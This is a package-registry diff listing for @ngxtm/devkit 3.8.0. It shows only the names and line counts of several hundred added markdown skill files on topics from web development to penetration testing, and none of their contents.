@ngxtm/devkit 3.7.0 → 3.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (769) hide show
  1. package/merged-commands/3d-web-experience.md +254 -0
  2. package/merged-commands/ab-test-setup.md +232 -0
  3. package/merged-commands/accessibility-compliance-accessibility-audit.md +42 -0
  4. package/merged-commands/active-directory-attacks.md +383 -0
  5. package/merged-commands/address-github-comments.md +55 -0
  6. package/merged-commands/aesthetic.md +134 -0
  7. package/merged-commands/agent-evaluation.md +64 -0
  8. package/merged-commands/agent-framework-azure-hosted-agents.md +332 -0
  9. package/merged-commands/agent-manager-skill.md +40 -0
  10. package/merged-commands/agent-memory-mcp.md +82 -0
  11. package/merged-commands/agent-memory-systems.md +67 -0
  12. package/merged-commands/agent-orchestration-improve-agent.md +349 -0
  13. package/merged-commands/agent-orchestration-multi-agent-optimize.md +239 -0
  14. package/merged-commands/agent-tool-builder.md +53 -0
  15. package/merged-commands/agile-product-owner.md +31 -0
  16. package/merged-commands/ai-agents-architect.md +90 -0
  17. package/merged-commands/ai-artist.md +75 -0
  18. package/merged-commands/ai-engineer.md +171 -0
  19. package/merged-commands/ai-multimodal.md +109 -0
  20. package/merged-commands/ai-product.md +54 -0
  21. package/merged-commands/ai-wrapper-product.md +273 -0
  22. package/merged-commands/airflow-dag-patterns.md +41 -0
  23. package/merged-commands/algolia-search.md +66 -0
  24. package/merged-commands/algorithmic-art.md +405 -0
  25. package/merged-commands/analytics-tracking.md +404 -0
  26. package/merged-commands/angular-architect.md +97 -0
  27. package/merged-commands/angular-migration.md +428 -0
  28. package/merged-commands/anti-reversing-techniques.md +42 -0
  29. package/merged-commands/api-design-principles.md +37 -0
  30. package/merged-commands/api-designer.md +101 -0
  31. package/merged-commands/api-documentation-generator.md +484 -0
  32. package/merged-commands/api-documenter.md +184 -0
  33. package/merged-commands/api-fuzzing-bug-bounty.md +433 -0
  34. package/merged-commands/api-patterns.md +81 -0
  35. package/merged-commands/api-security-best-practices.md +907 -0
  36. package/merged-commands/api-testing-observability-api-mock.md +46 -0
  37. package/merged-commands/app-builder.md +75 -0
  38. package/merged-commands/app-store-optimization.md +403 -0
  39. package/merged-commands/application-performance-performance-optimization.md +154 -0
  40. package/merged-commands/architect-review.md +174 -0
  41. package/merged-commands/architecture-decision-records.md +441 -0
  42. package/merged-commands/architecture-designer.md +89 -0
  43. package/merged-commands/architecture-patterns.md +37 -0
  44. package/merged-commands/architecture.md +55 -0
  45. package/merged-commands/arm-cortex-expert.md +306 -0
  46. package/merged-commands/artifacts-builder.md +74 -0
  47. package/merged-commands/ask-questions-if-underspecified.md +81 -0
  48. package/merged-commands/async-python-patterns.md +39 -0
  49. package/merged-commands/atlassian-mcp.md +100 -0
  50. package/merged-commands/attack-tree-construction.md +38 -0
  51. package/merged-commands/auth-implementation-patterns.md +39 -0
  52. package/merged-commands/automate-whatsapp.md +257 -0
  53. package/merged-commands/autonomous-agent-patterns.md +761 -0
  54. package/merged-commands/autonomous-agents.md +68 -0
  55. package/merged-commands/avalonia-layout-zafiro.md +59 -0
  56. package/merged-commands/avalonia-viewmodels-zafiro.md +29 -0
  57. package/merged-commands/avalonia-zafiro-development.md +29 -0
  58. package/merged-commands/aws-agentic-ai.md +117 -0
  59. package/merged-commands/aws-cdk-development.md +278 -0
  60. package/merged-commands/aws-cost-operations.md +317 -0
  61. package/merged-commands/aws-penetration-testing.md +405 -0
  62. package/merged-commands/aws-serverless-eda.md +757 -0
  63. package/merged-commands/aws-serverless.md +323 -0
  64. package/merged-commands/aws-skills.md +22 -0
  65. package/merged-commands/azd-deployment.md +296 -0
  66. package/merged-commands/azure-ai-agents-python.md +277 -0
  67. package/merged-commands/azure-ai-search-python.md +198 -0
  68. package/merged-commands/azure-ai-voicelive-skill.md +294 -0
  69. package/merged-commands/azure-functions.md +42 -0
  70. package/merged-commands/backend-architect.md +333 -0
  71. package/merged-commands/backend-dev-guidelines.md +342 -0
  72. package/merged-commands/backend-development-feature-development.md +180 -0
  73. package/merged-commands/backend-development.md +155 -0
  74. package/merged-commands/backend-security-coder.md +156 -0
  75. package/merged-commands/backtesting-frameworks.md +39 -0
  76. package/merged-commands/bash-defensive-patterns.md +43 -0
  77. package/merged-commands/bash-linux.md +199 -0
  78. package/merged-commands/bash-pro.md +310 -0
  79. package/merged-commands/bats-testing-patterns.md +34 -0
  80. package/merged-commands/bazel-build-optimization.md +397 -0
  81. package/merged-commands/beautiful-prose.md +22 -0
  82. package/merged-commands/behavioral-modes.md +242 -0
  83. package/merged-commands/best-practices.md +500 -0
  84. package/merged-commands/better-auth.md +204 -0
  85. package/merged-commands/billing-automation.md +42 -0
  86. package/merged-commands/binary-analysis-patterns.md +450 -0
  87. package/merged-commands/blockchain-developer.md +208 -0
  88. package/merged-commands/blockrun.md +292 -0
  89. package/merged-commands/brainstorming.md +230 -0
  90. package/merged-commands/brand-guidelines-anthropic.md +73 -0
  91. package/merged-commands/brand-guidelines-community.md +73 -0
  92. package/merged-commands/brand-guidelines.md +73 -0
  93. package/merged-commands/broken-authentication.md +476 -0
  94. package/merged-commands/browser-automation.md +70 -0
  95. package/merged-commands/browser-extension-builder.md +261 -0
  96. package/merged-commands/building-ai-agent-on-cloudflare.md +391 -0
  97. package/merged-commands/building-mcp-server-on-cloudflare.md +265 -0
  98. package/merged-commands/bullmq-specialist.md +57 -0
  99. package/merged-commands/bun-development.md +691 -0
  100. package/merged-commands/burp-suite-testing.md +380 -0
  101. package/merged-commands/business-analyst.md +182 -0
  102. package/merged-commands/busybox-on-windows.md +30 -0
  103. package/merged-commands/c-pro.md +56 -0
  104. package/merged-commands/c4-architecture-c4-architecture.md +389 -0
  105. package/merged-commands/c4-code.md +244 -0
  106. package/merged-commands/c4-component.md +153 -0
  107. package/merged-commands/c4-container.md +171 -0
  108. package/merged-commands/c4-context.md +150 -0
  109. package/merged-commands/canvas-design.md +130 -0
  110. package/merged-commands/cc-skill-backend-patterns.md +584 -0
  111. package/merged-commands/cc-skill-clickhouse-io.md +431 -0
  112. package/merged-commands/cc-skill-coding-standards.md +522 -0
  113. package/merged-commands/cc-skill-continuous-learning.md +10 -0
  114. package/merged-commands/cc-skill-frontend-patterns.md +633 -0
  115. package/merged-commands/cc-skill-project-guidelines-example.md +352 -0
  116. package/merged-commands/cc-skill-security-review.md +496 -0
  117. package/merged-commands/cc-skill-strategic-compact.md +10 -0
  118. package/merged-commands/changelog-automation.md +38 -0
  119. package/merged-commands/changelog-generator.md +104 -0
  120. package/merged-commands/chaos-engineer.md +98 -0
  121. package/merged-commands/chrome-devtools.md +407 -0
  122. package/merged-commands/cicd-automation-workflow-automate.md +51 -0
  123. package/merged-commands/clarity-gate.md +22 -0
  124. package/merged-commands/claude-ally-health.md +22 -0
  125. package/merged-commands/claude-code-guide.md +68 -0
  126. package/merged-commands/claude-d3js-skill.md +820 -0
  127. package/merged-commands/claude-scientific-skills.md +22 -0
  128. package/merged-commands/claude-speed-reader.md +22 -0
  129. package/merged-commands/claude-win11-speckit-update-skill.md +22 -0
  130. package/merged-commands/clean-code.md +201 -0
  131. package/merged-commands/clerk-auth.md +56 -0
  132. package/merged-commands/cli-developer.md +97 -0
  133. package/merged-commands/cloud-architect.md +135 -0
  134. package/merged-commands/cloud-penetration-testing.md +501 -0
  135. package/merged-commands/cloudflare-expert.md +227 -0
  136. package/merged-commands/code-documentation-code-explain.md +46 -0
  137. package/merged-commands/code-documentation-doc-generate.md +48 -0
  138. package/merged-commands/code-documentation.md +263 -0
  139. package/merged-commands/code-documenter.md +95 -0
  140. package/merged-commands/code-refactoring-context-restore.md +179 -0
  141. package/merged-commands/code-refactoring-refactor-clean.md +51 -0
  142. package/merged-commands/code-refactoring-tech-debt.md +386 -0
  143. package/merged-commands/code-refactoring.md +209 -0
  144. package/merged-commands/code-review-ai-ai-review.md +450 -0
  145. package/merged-commands/code-review-checklist.md +444 -0
  146. package/merged-commands/code-review-excellence.md +40 -0
  147. package/merged-commands/code-review.md +121 -0
  148. package/merged-commands/code-reviewer.md +178 -0
  149. package/merged-commands/codebase-cleanup-deps-audit.md +51 -0
  150. package/merged-commands/codebase-cleanup-refactor-clean.md +51 -0
  151. package/merged-commands/codebase-cleanup-tech-debt.md +386 -0
  152. package/merged-commands/codex-review.md +37 -0
  153. package/merged-commands/commit.md +171 -0
  154. package/merged-commands/competitive-ads-extractor.md +293 -0
  155. package/merged-commands/competitive-landscape.md +34 -0
  156. package/merged-commands/competitor-alternatives.md +750 -0
  157. package/merged-commands/comprehensive-review-full-review.md +146 -0
  158. package/merged-commands/comprehensive-review-pr-enhance.md +46 -0
  159. package/merged-commands/computer-use-agents.md +315 -0
  160. package/merged-commands/concise-planning.md +62 -0
  161. package/merged-commands/conductor-implement.md +388 -0
  162. package/merged-commands/conductor-manage.md +39 -0
  163. package/merged-commands/conductor-new-track.md +433 -0
  164. package/merged-commands/conductor-revert.md +372 -0
  165. package/merged-commands/conductor-setup.md +426 -0
  166. package/merged-commands/conductor-status.md +338 -0
  167. package/merged-commands/conductor-validator.md +62 -0
  168. package/merged-commands/content-creator.md +248 -0
  169. package/merged-commands/content-marketer.md +170 -0
  170. package/merged-commands/content-research-writer.md +538 -0
  171. package/merged-commands/context-compression.md +266 -0
  172. package/merged-commands/context-degradation.md +238 -0
  173. package/merged-commands/context-driven-development.md +400 -0
  174. package/merged-commands/context-engineering.md +107 -0
  175. package/merged-commands/context-fundamentals.md +192 -0
  176. package/merged-commands/context-management-context-restore.md +179 -0
  177. package/merged-commands/context-management-context-save.md +177 -0
  178. package/merged-commands/context-manager.md +185 -0
  179. package/merged-commands/context-optimization.md +186 -0
  180. package/merged-commands/context-window-management.md +53 -0
  181. package/merged-commands/context7-auto-research.md +36 -0
  182. package/merged-commands/conversation-memory.md +61 -0
  183. package/merged-commands/copy-editing.md +439 -0
  184. package/merged-commands/copywriting.md +225 -0
  185. package/merged-commands/core-components.md +264 -0
  186. package/merged-commands/cosmos-db-python-skill.md +198 -0
  187. package/merged-commands/cost-optimization.md +286 -0
  188. package/merged-commands/cpp-pro.md +59 -0
  189. package/merged-commands/cqrs-implementation.md +35 -0
  190. package/merged-commands/create-pr.md +192 -0
  191. package/merged-commands/crewai.md +243 -0
  192. package/merged-commands/csharp-developer.md +94 -0
  193. package/merged-commands/csharp-pro.md +59 -0
  194. package/merged-commands/culture-index.md +43 -0
  195. package/merged-commands/customer-support.md +170 -0
  196. package/merged-commands/daily-news-report.md +356 -0
  197. package/merged-commands/data-engineer.md +224 -0
  198. package/merged-commands/data-engineering-data-driven-feature.md +182 -0
  199. package/merged-commands/data-engineering-data-pipeline.md +201 -0
  200. package/merged-commands/data-quality-frameworks.md +40 -0
  201. package/merged-commands/data-scientist.md +199 -0
  202. package/merged-commands/data-storytelling.md +465 -0
  203. package/merged-commands/database-admin.md +165 -0
  204. package/merged-commands/database-architect.md +268 -0
  205. package/merged-commands/database-cloud-optimization-cost-optimize.md +44 -0
  206. package/merged-commands/database-design.md +52 -0
  207. package/merged-commands/database-migration.md +436 -0
  208. package/merged-commands/database-migrations-migration-observability.md +420 -0
  209. package/merged-commands/database-migrations-sql-migrations.md +53 -0
  210. package/merged-commands/database-optimizer.md +167 -0
  211. package/merged-commands/databases.md +232 -0
  212. package/merged-commands/dbt-transformation-patterns.md +34 -0
  213. package/merged-commands/debugger.md +49 -0
  214. package/merged-commands/debugging-strategies.md +34 -0
  215. package/merged-commands/debugging-toolkit-smart-debug.md +197 -0
  216. package/merged-commands/debugging-wizard.md +93 -0
  217. package/merged-commands/debugging.md +84 -0
  218. package/merged-commands/deep-research.md +114 -0
  219. package/merged-commands/defi-protocol-templates.md +466 -0
  220. package/merged-commands/dependency-management-deps-audit.md +44 -0
  221. package/merged-commands/dependency-upgrade.md +421 -0
  222. package/merged-commands/deployment-engineer.md +170 -0
  223. package/merged-commands/deployment-pipeline-design.md +371 -0
  224. package/merged-commands/deployment-procedures.md +241 -0
  225. package/merged-commands/deployment-validation-config-validate.md +496 -0
  226. package/merged-commands/design-md.md +178 -0
  227. package/merged-commands/design-orchestration.md +167 -0
  228. package/merged-commands/developer-growth-analysis.md +322 -0
  229. package/merged-commands/devops-engineer.md +92 -0
  230. package/merged-commands/devops-troubleshooter.md +161 -0
  231. package/merged-commands/devops.md +285 -0
  232. package/merged-commands/discord-bot-architect.md +277 -0
  233. package/merged-commands/dispatching-parallel-agents.md +180 -0
  234. package/merged-commands/distributed-debugging-debug-trace.md +44 -0
  235. package/merged-commands/distributed-tracing.md +450 -0
  236. package/merged-commands/django-expert.md +89 -0
  237. package/merged-commands/django-pro.md +180 -0
  238. package/merged-commands/doc-coauthoring.md +375 -0
  239. package/merged-commands/docker-expert.md +409 -0
  240. package/merged-commands/docs-architect.md +98 -0
  241. package/merged-commands/docs-seeker.md +102 -0
  242. package/merged-commands/documentation-generation-doc-generate.md +48 -0
  243. package/merged-commands/documentation-templates.md +194 -0
  244. package/merged-commands/docx-official.md +197 -0
  245. package/merged-commands/docx.md +197 -0
  246. package/merged-commands/domain-name-brainstormer.md +212 -0
  247. package/merged-commands/dotnet-architect.md +197 -0
  248. package/merged-commands/dotnet-backend-patterns.md +37 -0
  249. package/merged-commands/dotnet-core-expert.md +96 -0
  250. package/merged-commands/dx-optimizer.md +83 -0
  251. package/merged-commands/e2e-testing-patterns.md +41 -0
  252. package/merged-commands/elixir-pro.md +59 -0
  253. package/merged-commands/email-sequence.md +925 -0
  254. package/merged-commands/email-systems.md +54 -0
  255. package/merged-commands/embedded-systems.md +98 -0
  256. package/merged-commands/embedding-strategies.md +491 -0
  257. package/merged-commands/employment-contract-templates.md +39 -0
  258. package/merged-commands/environment-setup-guide.md +479 -0
  259. package/merged-commands/error-debugging-error-analysis.md +47 -0
  260. package/merged-commands/error-debugging-error-trace.md +43 -0
  261. package/merged-commands/error-debugging-multi-agent-review.md +216 -0
  262. package/merged-commands/error-detective.md +53 -0
  263. package/merged-commands/error-diagnostics-error-analysis.md +47 -0
  264. package/merged-commands/error-diagnostics-error-trace.md +48 -0
  265. package/merged-commands/error-diagnostics-smart-debug.md +197 -0
  266. package/merged-commands/error-handling-patterns.md +35 -0
  267. package/merged-commands/ethical-hacking-methodology.md +466 -0
  268. package/merged-commands/evaluation.md +238 -0
  269. package/merged-commands/event-sourcing-architect.md +58 -0
  270. package/merged-commands/event-store-design.md +449 -0
  271. package/merged-commands/exa-search.md +36 -0
  272. package/merged-commands/executing-plans.md +76 -0
  273. package/merged-commands/expo-app-design.md +22 -0
  274. package/merged-commands/expo-deployment.md +72 -0
  275. package/merged-commands/fal-audio.md +22 -0
  276. package/merged-commands/fal-generate.md +22 -0
  277. package/merged-commands/fal-image-edit.md +22 -0
  278. package/merged-commands/fal-platform.md +22 -0
  279. package/merged-commands/fal-upscale.md +22 -0
  280. package/merged-commands/fal-workflow.md +22 -0
  281. package/merged-commands/fastapi-expert.md +93 -0
  282. package/merged-commands/fastapi-pro.md +192 -0
  283. package/merged-commands/fastapi-router.md +52 -0
  284. package/merged-commands/fastapi-templates.md +32 -0
  285. package/merged-commands/feature-forge.md +90 -0
  286. package/merged-commands/ffuf-claude-skill.md +22 -0
  287. package/merged-commands/file-organizer.md +250 -0
  288. package/merged-commands/file-path-traversal.md +486 -0
  289. package/merged-commands/file-uploads.md +22 -0
  290. package/merged-commands/find-bugs.md +86 -0
  291. package/merged-commands/fine-tuning-expert.md +98 -0
  292. package/merged-commands/finishing-a-development-branch.md +200 -0
  293. package/merged-commands/firebase.md +56 -0
  294. package/merged-commands/firecrawl-scraper.md +37 -0
  295. package/merged-commands/firmware-analyst.md +320 -0
  296. package/merged-commands/fix-review.md +53 -0
  297. package/merged-commands/fixing.md +72 -0
  298. package/merged-commands/flutter-expert.md +200 -0
  299. package/merged-commands/form-cro.md +441 -0
  300. package/merged-commands/foundry-iq-agent.md +15 -0
  301. package/merged-commands/foundry-iq-python.md +275 -0
  302. package/merged-commands/foundry-nextgen-frontend.md +555 -0
  303. package/merged-commands/foundry-sdk-python.md +290 -0
  304. package/merged-commands/fp-ts-errors.md +856 -0
  305. package/merged-commands/fp-ts-pragmatic.md +598 -0
  306. package/merged-commands/fp-ts-react.md +796 -0
  307. package/merged-commands/framework-migration-code-migrate.md +48 -0
  308. package/merged-commands/framework-migration-deps-upgrade.md +48 -0
  309. package/merged-commands/framework-migration-legacy-modernize.md +132 -0
  310. package/merged-commands/free-tool-strategy.md +576 -0
  311. package/merged-commands/frontend-design.md +272 -0
  312. package/merged-commands/frontend-dev-guidelines.md +359 -0
  313. package/merged-commands/frontend-developer.md +171 -0
  314. package/merged-commands/frontend-development.md +399 -0
  315. package/merged-commands/frontend-mobile-development-component-scaffold.md +403 -0
  316. package/merged-commands/frontend-mobile-security-xss-scan.md +322 -0
  317. package/merged-commands/frontend-security-coder.md +170 -0
  318. package/merged-commands/frontend-slides.md +770 -0
  319. package/merged-commands/full-stack-orchestration-full-stack-feature.md +135 -0
  320. package/merged-commands/fullstack-guardian.md +99 -0
  321. package/merged-commands/game-developer.md +94 -0
  322. package/merged-commands/game-development.md +167 -0
  323. package/merged-commands/gcp-cloud-run.md +288 -0
  324. package/merged-commands/gdpr-data-handling.md +33 -0
  325. package/merged-commands/geo-fundamentals.md +156 -0
  326. package/merged-commands/git-advanced-workflows.md +412 -0
  327. package/merged-commands/git-pr-workflows-git-workflow.md +140 -0
  328. package/merged-commands/git-pr-workflows-onboard.md +416 -0
  329. package/merged-commands/git-pr-workflows-pr-enhance.md +48 -0
  330. package/merged-commands/git-pushing.md +33 -0
  331. package/merged-commands/github-actions-templates.md +345 -0
  332. package/merged-commands/github-workflow-automation.md +846 -0
  333. package/merged-commands/gitlab-ci-patterns.md +283 -0
  334. package/merged-commands/gitops-workflow.md +303 -0
  335. package/merged-commands/go-concurrency-patterns.md +33 -0
  336. package/merged-commands/godot-gdscript-patterns.md +33 -0
  337. package/merged-commands/golang-pro.md +179 -0
  338. package/merged-commands/google-adk-python.md +243 -0
  339. package/merged-commands/grafana-dashboards.md +381 -0
  340. package/merged-commands/graphql-architect.md +182 -0
  341. package/merged-commands/graphql.md +68 -0
  342. package/merged-commands/haskell-pro.md +56 -0
  343. package/merged-commands/helm-chart-scaffolding.md +34 -0
  344. package/merged-commands/hr-pro.md +126 -0
  345. package/merged-commands/html-injection-testing.md +498 -0
  346. package/merged-commands/hubspot-integration.md +42 -0
  347. package/merged-commands/hugging-face-cli.md +198 -0
  348. package/merged-commands/hugging-face-jobs.md +1038 -0
  349. package/merged-commands/hybrid-cloud-architect.md +168 -0
  350. package/merged-commands/hybrid-cloud-networking.md +238 -0
  351. package/merged-commands/hybrid-search-implementation.md +32 -0
  352. package/merged-commands/i18n-localization.md +154 -0
  353. package/merged-commands/idor-testing.md +442 -0
  354. package/merged-commands/image-enhancer.md +99 -0
  355. package/merged-commands/imagen.md +77 -0
  356. package/merged-commands/incident-responder.md +213 -0
  357. package/merged-commands/incident-response-incident-response.md +168 -0
  358. package/merged-commands/incident-response-smart-fix.md +29 -0
  359. package/merged-commands/incident-runbook-templates.md +395 -0
  360. package/merged-commands/infinite-gratitude.md +26 -0
  361. package/merged-commands/inngest.md +55 -0
  362. package/merged-commands/interactive-portfolio.md +223 -0
  363. package/merged-commands/internal-comms-anthropic.md +32 -0
  364. package/merged-commands/internal-comms-community.md +32 -0
  365. package/merged-commands/internal-comms.md +32 -0
  366. package/merged-commands/invoice-organizer.md +446 -0
  367. package/merged-commands/ios-developer.md +219 -0
  368. package/merged-commands/issue-creator.md +137 -0
  369. package/merged-commands/istio-traffic-management.md +337 -0
  370. package/merged-commands/iterate-pr.md +150 -0
  371. package/merged-commands/java-architect.md +95 -0
  372. package/merged-commands/java-pro.md +177 -0
  373. package/merged-commands/javascript-mastery.md +645 -0
  374. package/merged-commands/javascript-pro.md +57 -0
  375. package/merged-commands/javascript-testing-patterns.md +35 -0
  376. package/merged-commands/javascript-typescript-typescript-scaffold.md +361 -0
  377. package/merged-commands/javascript-typescript.md +142 -0
  378. package/merged-commands/jira-issues.md +181 -0
  379. package/merged-commands/job-application.md +90 -0
  380. package/merged-commands/julia-pro.md +209 -0
  381. package/merged-commands/k8s-manifest-generator.md +35 -0
  382. package/merged-commands/k8s-security-policies.md +346 -0
  383. package/merged-commands/kaizen.md +730 -0
  384. package/merged-commands/kotlin-specialist.md +94 -0
  385. package/merged-commands/kpi-dashboard-design.md +440 -0
  386. package/merged-commands/kubernetes-architect.md +170 -0
  387. package/merged-commands/kubernetes-specialist.md +117 -0
  388. package/merged-commands/langchain-architecture.md +350 -0
  389. package/merged-commands/langfuse.md +238 -0
  390. package/merged-commands/langgraph.md +287 -0
  391. package/merged-commands/laravel-specialist.md +101 -0
  392. package/merged-commands/last30days.md +421 -0
  393. package/merged-commands/launch-strategy.md +344 -0
  394. package/merged-commands/lead-research-assistant.md +199 -0
  395. package/merged-commands/learn.md +476 -0
  396. package/merged-commands/legacy-modernizer.md +53 -0
  397. package/merged-commands/legal-advisor.md +70 -0
  398. package/merged-commands/linear-claude-skill.md +543 -0
  399. package/merged-commands/linkerd-patterns.md +321 -0
  400. package/merged-commands/lint-and-validate.md +45 -0
  401. package/merged-commands/linux-privilege-escalation.md +504 -0
  402. package/merged-commands/linux-shell-scripting.md +504 -0
  403. package/merged-commands/llm-app-patterns.md +760 -0
  404. package/merged-commands/llm-application-dev-ai-assistant.md +35 -0
  405. package/merged-commands/llm-application-dev-langchain-agent.md +246 -0
  406. package/merged-commands/llm-application-dev-prompt-optimize.md +37 -0
  407. package/merged-commands/llm-application-dev.md +216 -0
  408. package/merged-commands/llm-evaluation.md +483 -0
  409. package/merged-commands/loki-mode.md +721 -0
  410. package/merged-commands/machine-learning-ops-ml-pipeline.md +314 -0
  411. package/merged-commands/makepad-skills.md +22 -0
  412. package/merged-commands/malware-analyst.md +247 -0
  413. package/merged-commands/markdown-novel-viewer.md +281 -0
  414. package/merged-commands/market-sizing-analysis.md +425 -0
  415. package/merged-commands/marketing-ideas.md +221 -0
  416. package/merged-commands/marketing-psychology.md +255 -0
  417. package/merged-commands/mcp-builder.md +236 -0
  418. package/merged-commands/mcp-developer.md +94 -0
  419. package/merged-commands/mcp-management.md +209 -0
  420. package/merged-commands/media-processing.md +358 -0
  421. package/merged-commands/meeting-insights-analyzer.md +327 -0
  422. package/merged-commands/memory-forensics.md +491 -0
  423. package/merged-commands/memory-safety-patterns.md +33 -0
  424. package/merged-commands/memory-systems.md +228 -0
  425. package/merged-commands/mermaid-expert.md +59 -0
  426. package/merged-commands/mermaidjs-v11.md +115 -0
  427. package/merged-commands/metasploit-framework.md +478 -0
  428. package/merged-commands/micro-saas-launcher.md +212 -0
  429. package/merged-commands/microservices-architect.md +102 -0
  430. package/merged-commands/microservices-patterns.md +35 -0
  431. package/merged-commands/minecraft-bukkit-pro.md +126 -0
  432. package/merged-commands/ml-engineer.md +168 -0
  433. package/merged-commands/ml-pipeline-workflow.md +257 -0
  434. package/merged-commands/ml-pipeline.md +111 -0
  435. package/merged-commands/mlops-engineer.md +219 -0
  436. package/merged-commands/mobile-design.md +284 -0
  437. package/merged-commands/mobile-developer.md +205 -0
  438. package/merged-commands/mobile-development.md +212 -0
  439. package/merged-commands/mobile-security-coder.md +184 -0
  440. package/merged-commands/modern-javascript-patterns.md +35 -0
  441. package/merged-commands/monitoring-expert.md +92 -0
  442. package/merged-commands/monorepo-architect.md +61 -0
  443. package/merged-commands/monorepo-management.md +35 -0
  444. package/merged-commands/moodle-external-api-development.md +597 -0
  445. package/merged-commands/mtls-configuration.md +359 -0
  446. package/merged-commands/multi-agent-brainstorming.md +256 -0
  447. package/merged-commands/multi-agent-patterns.md +262 -0
  448. package/merged-commands/multi-cloud-architecture.md +189 -0
  449. package/merged-commands/multi-platform-apps-multi-platform.md +203 -0
  450. package/merged-commands/n8n-code-python.md +750 -0
  451. package/merged-commands/n8n-mcp-tools-expert.md +654 -0
  452. package/merged-commands/n8n-node-configuration.md +796 -0
  453. package/merged-commands/nanobanana-ppt-skills.md +22 -0
  454. package/merged-commands/neon-postgres.md +56 -0
  455. package/merged-commands/nestjs-expert.md +552 -0
  456. package/merged-commands/network-101.md +342 -0
  457. package/merged-commands/network-engineer.md +169 -0
  458. package/merged-commands/nextjs-app-router-patterns.md +33 -0
  459. package/merged-commands/nextjs-best-practices.md +203 -0
  460. package/merged-commands/nextjs-developer.md +97 -0
  461. package/merged-commands/nextjs-supabase-auth.md +56 -0
  462. package/merged-commands/nft-standards.md +395 -0
  463. package/merged-commands/nodejs-backend-patterns.md +35 -0
  464. package/merged-commands/nodejs-best-practices.md +333 -0
  465. package/merged-commands/nosql-expert.md +111 -0
  466. package/merged-commands/notebooklm-skill.md +269 -0
  467. package/merged-commands/notebooklm.md +269 -0
  468. package/merged-commands/notion-template-business.md +216 -0
  469. package/merged-commands/nx-workspace-patterns.md +464 -0
  470. package/merged-commands/observability-engineer.md +237 -0
  471. package/merged-commands/observability-monitoring-monitor-setup.md +48 -0
  472. package/merged-commands/observability-monitoring-slo-implement.md +43 -0
  473. package/merged-commands/observe-whatsapp.md +109 -0
  474. package/merged-commands/obsidian-clipper-template-creator.md +64 -0
  475. package/merged-commands/on-call-handoff-patterns.md +453 -0
  476. package/merged-commands/onboarding-cro.md +433 -0
  477. package/merged-commands/openapi-spec-generation.md +33 -0
  478. package/merged-commands/page-cro.md +343 -0
  479. package/merged-commands/paid-ads.md +551 -0
  480. package/merged-commands/pandas-pro.md +96 -0
  481. package/merged-commands/parallel-agents.md +175 -0
  482. package/merged-commands/payment-integration.md +77 -0
  483. package/merged-commands/paypal-integration.md +479 -0
  484. package/merged-commands/paywall-upgrade-cro.md +570 -0
  485. package/merged-commands/pci-compliance.md +478 -0
  486. package/merged-commands/pdf-official.md +294 -0
  487. package/merged-commands/pdf.md +294 -0
  488. package/merged-commands/pentest-checklist.md +334 -0
  489. package/merged-commands/pentest-commands.md +438 -0
  490. package/merged-commands/performance-engineer.md +180 -0
  491. package/merged-commands/performance-profiling.md +143 -0
  492. package/merged-commands/performance-testing-review-ai-review.md +450 -0
  493. package/merged-commands/performance-testing-review-multi-agent-review.md +216 -0
  494. package/merged-commands/personal-tool-builder.md +289 -0
  495. package/merged-commands/php-pro.md +63 -0
  496. package/merged-commands/plaid-fintech.md +50 -0
  497. package/merged-commands/plan-writing.md +152 -0
  498. package/merged-commands/planning-with-files.md +211 -0
  499. package/merged-commands/planning.md +95 -0
  500. package/merged-commands/plans-kanban.md +166 -0
  501. package/merged-commands/playwright-expert.md +87 -0
  502. package/merged-commands/playwright-skill.md +453 -0
  503. package/merged-commands/podcast-generation.md +121 -0
  504. package/merged-commands/popup-cro.md +346 -0
  505. package/merged-commands/posix-shell-pro.md +304 -0
  506. package/merged-commands/postgres-best-practices.md +57 -0
  507. package/merged-commands/postgres-pro.md +98 -0
  508. package/merged-commands/postgresql.md +230 -0
  509. package/merged-commands/postmortem-writing.md +386 -0
  510. package/merged-commands/powershell-windows.md +167 -0
  511. package/merged-commands/pptx-official.md +484 -0
  512. package/merged-commands/pptx.md +484 -0
  513. package/merged-commands/pricing-strategy.md +356 -0
  514. package/merged-commands/prisma-expert.md +355 -0
  515. package/merged-commands/privilege-escalation-methods.md +333 -0
  516. package/merged-commands/problem-solving.md +96 -0
  517. package/merged-commands/product-manager-toolkit.md +351 -0
  518. package/merged-commands/product-strategist.md +26 -0
  519. package/merged-commands/production-code-audit.md +540 -0
  520. package/merged-commands/programmatic-seo.md +351 -0
  521. package/merged-commands/projection-patterns.md +33 -0
  522. package/merged-commands/prometheus-configuration.md +404 -0
  523. package/merged-commands/prompt-caching.md +61 -0
  524. package/merged-commands/prompt-engineer.md +272 -0
  525. package/merged-commands/prompt-engineering-patterns.md +213 -0
  526. package/merged-commands/prompt-engineering.md +171 -0
  527. package/merged-commands/prompt-library.md +322 -0
  528. package/merged-commands/protocol-reverse-engineering.md +29 -0
  529. package/merged-commands/pydantic-models.md +58 -0
  530. package/merged-commands/pypict-skill.md +22 -0
  531. package/merged-commands/python-development-python-scaffold.md +331 -0
  532. package/merged-commands/python-development.md +139 -0
  533. package/merged-commands/python-packaging.md +36 -0
  534. package/merged-commands/python-patterns.md +441 -0
  535. package/merged-commands/python-performance-optimization.md +36 -0
  536. package/merged-commands/python-pro.md +158 -0
  537. package/merged-commands/python-testing-patterns.md +37 -0
  538. package/merged-commands/qa-regression.md +337 -0
  539. package/merged-commands/quant-analyst.md +53 -0
  540. package/merged-commands/radix-ui-design-system.md +847 -0
  541. package/merged-commands/raffle-winner-picker.md +159 -0
  542. package/merged-commands/rag-architect.md +100 -0
  543. package/merged-commands/rag-engineer.md +90 -0
  544. package/merged-commands/rag-implementation.md +421 -0
  545. package/merged-commands/rails-expert.md +97 -0
  546. package/merged-commands/react-best-practices.md +121 -0
  547. package/merged-commands/react-expert.md +98 -0
  548. package/merged-commands/react-flow-node.md +66 -0
  549. package/merged-commands/react-modernization.md +34 -0
  550. package/merged-commands/react-native-architecture.md +33 -0
  551. package/merged-commands/react-native-expert.md +88 -0
  552. package/merged-commands/react-patterns.md +198 -0
  553. package/merged-commands/react-state-management.md +441 -0
  554. package/merged-commands/react-ui-patterns.md +289 -0
  555. package/merged-commands/readme.md +775 -0
  556. package/merged-commands/receiving-code-review.md +213 -0
  557. package/merged-commands/red-team-tactics.md +199 -0
  558. package/merged-commands/red-team-tools.md +310 -0
  559. package/merged-commands/reference-builder.md +188 -0
  560. package/merged-commands/referral-program.md +602 -0
  561. package/merged-commands/remotion-best-practices.md +45 -0
  562. package/merged-commands/repomix.md +275 -0
